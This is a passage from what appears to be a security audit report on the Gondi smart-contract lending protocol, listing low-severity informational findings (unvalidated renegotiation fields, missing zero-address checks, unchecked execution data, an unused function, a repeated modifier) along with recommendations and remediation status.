ACKNOWLEDGED: The **Gondi team** acknowledged this issue.

References

MultiSourceLoan.loanLiquidated

7.33 WITHDRAWAL FUNCTIONALITY COULD RESULT MISLEADING

// INFORMATIONAL

Description

The `burnAndWithdraw` function in the **UserVault** contract does not differentiate whether an ERC721 token is a standard one or an old version. As a consequence, if old ERC721 tokens are included as arguments in the `burnAndWithdraw` function, the operation will revert.

It's worth noting that this issue is classified as **Informational** because users could call the `withdrawOldERC721` or `withdrawOldERC721s` functions to withdraw the old ERC721 tokens. However, the additional step and overall behavior of the `burnAndWithdraw` function could result misleading for some users.

BVSS

AO:A/AC:L/AX:H/R:N/S:U/C:N/A:L/I:N/D:N/Y:N (0.8)

Recommendation

It is recommended to update the logic to differentiate if an ERC721 token is a standard one or an old version and execute the corresponding withdrawal functionality.

Remediation Progress

SOLVED: The **Gondi team** solved the issue in the specified commit id.

Remediation Hash

https://github.com/pixeldaogg/florida-contracts/pull/394/commits/e52e708381f60a75450c18c1b7e722effe90cb3e

References

UserVault.burnAndWithdraw

7.34 LACK OF CONSISTENCY IN RENEGOTIATION OFFERS

// INFORMATIONAL

Description

The `refinanceFull` and `addNewTranche` functions in the **MultiSourceLoan** contract do not verify some conditions in the fields of a renegotiation offer, which could create some inconsistency between the input received and the expected behavior of the function. The conditions that should also be verified are the following:

refinanceFull:

- `_renegotiationOffer.trancheIndex.length` = `_loan.tranche.length`

addNewTranche:

- `_renegotiationOffer.trancheIndex.length` = 1
- `_renegotiationOffer.trancheIndex[0]` = `_loan.tranche.length` (i.e.: new index created)

BVSS

AO:A/AC:L/AX:H/R:N/S:U/C:N/A:N/I:L/D:N/Y:N (0.8)

Recommendation

It is recommended to validate the fields mentioned above in a renegotiation offer when fully refinancing a loan or adding new tranches.

Remediation Progress

SOLVED: The **Gondi team** solved the issue in the specified commit id.

Remediation Hash

https://github.com/pixeldaogg/florida-contracts/pull/394/commits/5fbcbbf9e1d4f97659abd4deb38f3102c2356e3f

References

MultiSourceLoan.refinanceFull
MultiSourceLoan.addNewTranche

7.35 UNUSED FUNCTION OR VARIABLE

// INFORMATIONAL

Description

The `getMinTranchePrincipal` function and the `MAX_RATIO_TRANCHE_MIN_PRINCIPAL` variable are included in the code of the **MultiSourceLoan** contract, but not used anymore in the logic of the protocol, which could mean that there is a missing / unimplemented logic piece or that those elements are deprecated.

BVSS

AO:A/AC:L/AX:H/R:N/S:U/C:N/A:N/I:L/D:N/Y:N (0.8)

Recommendation

It is recommended to update the logic of the codebase to include the mentioned elements or remove them if they are no longer necessary.

Remediation Progress

SOLVED: The **Gondi team** solved the issue in the specified commit id.

Remediation Hash

https://github.com/pixeldaogg/florida-contracts/pull/394/commits/beaed92c641b9b68fc3f1d88fdfd6822b7696c27

References

src/lib/loans/MultiSourceLoan.sol#L48, L517-L519

7.36 LACK OF ZERO ADDRESS CHECK

// INFORMATIONAL

Description

Some functions in the codebase do not include a **zero address check** for their parameters. If one of those parameters is mistakenly set to zero, it could affect the correct operation of the protocol. The affected functions are the following:

- `MultiSourceLoan.constructor`
- `MultiSourceLoan.setDelegateRegistry`
- `MultiSourceLoan.setFlashActionContract`
- `LiquidationDistributor.constructor`
- `LiquidationHandler.constructor`

BVSS

AO:A/AC:L/AX:H/R:P/S:U/C:N/A:N/I:M/D:N/Y:N (0.8)

Recommendation

It is recommended to add a zero address check in the functions mentioned above.

Remediation Progress

ACKNOWLEDGED: The **Gondi team** acknowledged this issue.

References

src/lib/loans/MultiSourceLoan.sol#L118-L120, L495, L549
src/lib/LiquidationDistributor.sol#L28
src/lib/LiquidationHandler.sol#L48

7.37 UNCHECKED EXECUTION DATA

// INFORMATIONAL

Description

The `buy` function in the **PurchaseBundler** contract does not verify that `_executionData` contains only calls to the `emitLoan` function. In fact, the calls could be to other functions like: `refinanceFull`, `refinancePartial`, `refinanceFromLoanExecutionData`, `addNewTranche` or `mergeTranches`. Although this issue is not currently exploitable, it is mentioned in the report as part of a security-in-depth strategy.

BVSS

AO:A/AC:L/AX:H/R:P/S:U/C:N/A:N/I:M/D:N/Y:N (0.8)

Recommendation

It is recommended to verify that `_executionData` contains only calls to the `emitLoan` function.

Remediation Progress

ACKNOWLEDGED: The **Gondi team** acknowledged this issue.

References

PurchaseBundler.buy

7.38 REPEATED MODIFIER

// INFORMATIONAL

Description

The `depositEth` function in the **UserVault** contract has the `vaultExists` modifier, but it appears twice instead of only once in the function declaration. This situation is not security-related, but mentioned in the report as part of the best practices in software development to improve the readability of code during all phases of its lifecycle.

Score

Impact:

Likelihood:

Recommendation

It is recommended to remove the repeated modifier in the function mentioned above.

Remediation Progress

SOLVED: The **Gondi team** solved the issue in the specified commit id.

Remediation Hash

https://github.com/pixeldaogg/florida-contracts/commit/c821c8f6149bdbbaf3cf7ca56fe38206051f34c2

References

src/lib/UserVault.sol#L219
